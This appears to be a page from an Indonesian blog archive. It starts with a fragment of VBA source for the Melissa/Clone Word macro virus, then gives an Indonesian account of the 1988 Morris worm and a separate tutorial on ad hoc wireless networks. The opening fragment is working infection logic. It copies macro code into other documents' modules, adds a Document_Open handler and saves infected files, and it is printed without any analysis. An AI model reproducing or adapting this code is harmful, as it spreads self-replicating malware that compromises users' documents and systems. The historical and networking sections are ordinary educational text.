Do While ADI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
p$ = "clone"
If DoAD = True Then
Do While NTI1.CodeModule.Lines(1, 1) = ""
NTI1.CodeModule.DeleteLines 1
Loop
ToInfect.CodeModule.AddFromString ("Private Sub Document_Open()")
Do While NTI1.CodeModule.Lines(BGN, 1) <> ""
ToInfect.CodeModule.InsertLines BGN, NTI1.CodeModule.Lines(BGN, 1)
BGN = BGN + 1
Loop
End If
CYA:
If NTCL <> 0 And ADCL = 0 And (InStr(1, ActiveDocument.Name, "Document") = False) Then
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
ElseIf (InStr(1, ActiveDocument.Name, "Document") <> False) Then
ActiveDocument.Saved = True: End If
'WORD/Melissa written by Kwyjibo
'Clone written by Duke/SMF
'Works in both Word 2000 and Word 97
'Worm? Macro Virus? Word 97 Virus? Word 2000 Virus? You Decide!
'Word -> Email | Word 97 <--> Word 2000 ... it's a new age!
If Day(Now) = Minute(Now) Then Selection.TypeText "Twenty-two points, plus triple-word-score, plus fifty points for using all my letters. Game's over. I'm outta here."
End Sub



Morris Worm -1988


2 November 1988, Morris Worm, salah satu worm virus pertama yang fenomenal, didistribusikan melalui internet oleh seorang mahasiswa Cornell University, Robert Tappan Morris. Meskipun Morris berasal dari Cornell, namun ia sengaja melepaskan virus tersebut dari MIT untuk menyamarkan kenyataan bahwa worm tersebut berasal dari Cornell.
Morris sebenarnya menulis worm tersebut hanya untuk menguji populasi internet saat itu dan bukan berniat untuk merusak. Namun, worm yang dibuat ternyata beraksi lebih hebat dan berubah dari uji intelektual menjadi mesin denial of service. Morris worm mereplikasi ulang di setiap mesin yang ditemui jauh lebih cepat dari yang bisa diantisipasi.

Worm ini menerobos masuk melalui lubang di debug mode milik sendmail Unix yang berjalan dalam sistem dan menunggu sistem lain terkoneksi lalu mengirimkan email. Para ahli di University of California, Berkeley dan MIT mendapatkan salinan dari program dan mencoba untuk membuka source code Morris worm untuk menganalisa cara kerjanya.

Tim programmer bekerja non stop dan menghasilkan setidaknya bagaimana melakukan perbaikan temporer, yaitu cara untuk mencegah penyebaran worm yang terus menerus. Setalah hampir 12 jam, tim di Berkeley menemukan solusi mengatasi penyebaran worm. Metode lain juga ditemukan di Purdue dan disebarkan. Namun informasi tersebut tidak dapat keluar dengan cepat karena pada kenyataannya sudah banyak situs yang memutus koneksinya ke internet karena khawatir terserang Morris worm.

Beberapa hari kemudian, keadaan berangsur-angsur normal kembali dan Morris disebut-sebut dalam New York Times sebagai penulis dari worm yang menggemparkan ini. Tercatat sekitar 6000 mesin UNIX yang terkoneksi dengan internet, sekitar 10% dari populasi internet lumpuh. Kerugian sebesar US$15 juta. Worm Morris memacu pemerintah untuk mendirikan CERT (Computer Emergency Response Team). Morris adalah hacker pertama yang dikenai hukum cyber di Amerika Serikat, Computer Fraud and Abuse Act dan dikenai hukuman 3 tahun masa percobaan, 400 jam community service, dan denda US$10.050 serta biaya pengawasannya. Saat ini, dirinya menjadi pengajar Ilmu Komputer di MIT.

sumber :
http://groups.csail.mit.edu/mac/classes/6.805/articles/morris-worm.html
http://en.wikipedia.org/wiki/Morris_worm

Senin, 03 Oktober 2011

AD HOC NETWORK

jaringan ad hoc adalah jaringan bersifat sementara tanpa bergantung pada infrastruktur yang ada dan bersifat independen.
Ad Hoc Network adalah jaringan wireless yang terdiri dari kumpulan mobile node (mobile station) yang bersifat dinamik dan spontan, dapat diaplikasikan di mana pun tanpa menggunakan jaringan infrastruktur (seluler ataupun PSTN) yang telah ada. Contoh mobile node adalah notebook, PDA dan ponsel. Jaringan ad hoc disebut juga dengan spontaneous networkatau disebut MANET (Mobile Ad hoc NETwork).

karakteristik Jaringan Ad Hoc


Node-node pada jaringan Ad Hoc tidak hanya berperan sebagai pengirim dan penerima data, namun dapat berperan sebagai penunjang node yang lainnya, misalnya mempunyai kemampuan layaknya router. Dengan demikian diperlukan adanya routing protokol dalam jaringan Ad Hoc untuk menunjang proses kirim terima antar node-nodenya. Berikut beberapa karakteristik jaringan Ad Hoc :

a. Multiple wireless link : setiap node yang mempunyai sifat mobility dapat memiliki beberapa interface yang terhubung ke beberapa node lainnya.

b. Dynamic topology : dikarenakan sifat node yang mobile, maka topologi jaringannya dapat berubah secara random/acak. Sebagai akibatnya routing protocol mempunyai masalah yang lebih kompleks dibandingkan dengan jaringan wired dengan node yang tetap.

c. Limited resources : seperti jaringan wireless lainnya, jaringan Ad Hoc dibatasi oleh masalah daya dan kapasitas memori.

Contoh Penggunaan/Aplikasi di lapangan :
  1. Operasi militer, seperti yang telah diujicobakan kawasan pertempuran di Sudan. Dengan jaringan ad hoc, mempermudah untuk akses informasi antar personil militer.
  2. Komersial, jaringan ad hoc dapat digunakan pada situasi emergency atau upaya penyelamatan (rescue operation), seperti banjir atau gempa bumi dan entertainment seperti acara live music.
  3. jaringan yang cepat tersedia dengan menggunakan notebook untuk menyebarkan dan berbagi informasi di antara user seperti dalam konferensi atau ruang kuliah.
  4. Personal Area Network, untuk jarak pendek (short distance) lebih kurang 10 m, Ad hoc Network secara mudah berkomunikasi antar bermacam peralatan (seperti PDA, laptop dan telepon seluler) dengan laju data yang rendah.
Keuntungan :
  1. Tidak memerlukan dukungan backbone infrastruktur sehingga mudah diimplementasikan dan sangat berguna ketika infrastruktur tidak ada ataupun tidak berfungsi lagi.
  2. Mobile node yang selalu bergerak (mobility) dapat mengakses informasi secara real time ketika berhubungan dengan mobile node lain, sehingga pertukaran data dan pengambilan keputusan dapat segera dilaksanakan.
  3. fleksibel terhadap suatu keperluan tertentu karena jaringan ini memang bersifat sementara.
  4. Dapat direkonfigurasi dalam beragam topologi baik untuk jumlah user kecil hingga banyak sesuai dengan aplikasi dan instalasi (scalability).
Kerugian :
  1. packet loss (rugi-rugi paket) akan terjadi bila transmisi mengalami kesalahan (error).
  2. seringkali terjadi disconnection, karena tidak selalu berada dalam area cakupan.
  3. bandwidth komunikasi yang terbatas
  4. lifetime baterai yang singkat.
  5. kapasitas kemampuan jangkauan mobile node yang terbatas dan bervariasi.
Konfigurasi sederhana :
  1. Dibutuhkan “wireless network card” pada masing-masing komputer.
  2. Masuk ke “wireless network card properties” dan set “SSID” dengan nama tertentu (unique).
  3. Set IP LAN static pada komputer. Patikan kita mengkonfigurasi IP komputer tersebut dalam satu subnet dan range yang sama.
  4. Set “network card” pada mode “ad-hoc”, bukan “infrastructure”.
  5. Satu sebagai host (access point) yang lain sebagai client. Atau semua bisa berperan sebagai host (multihost)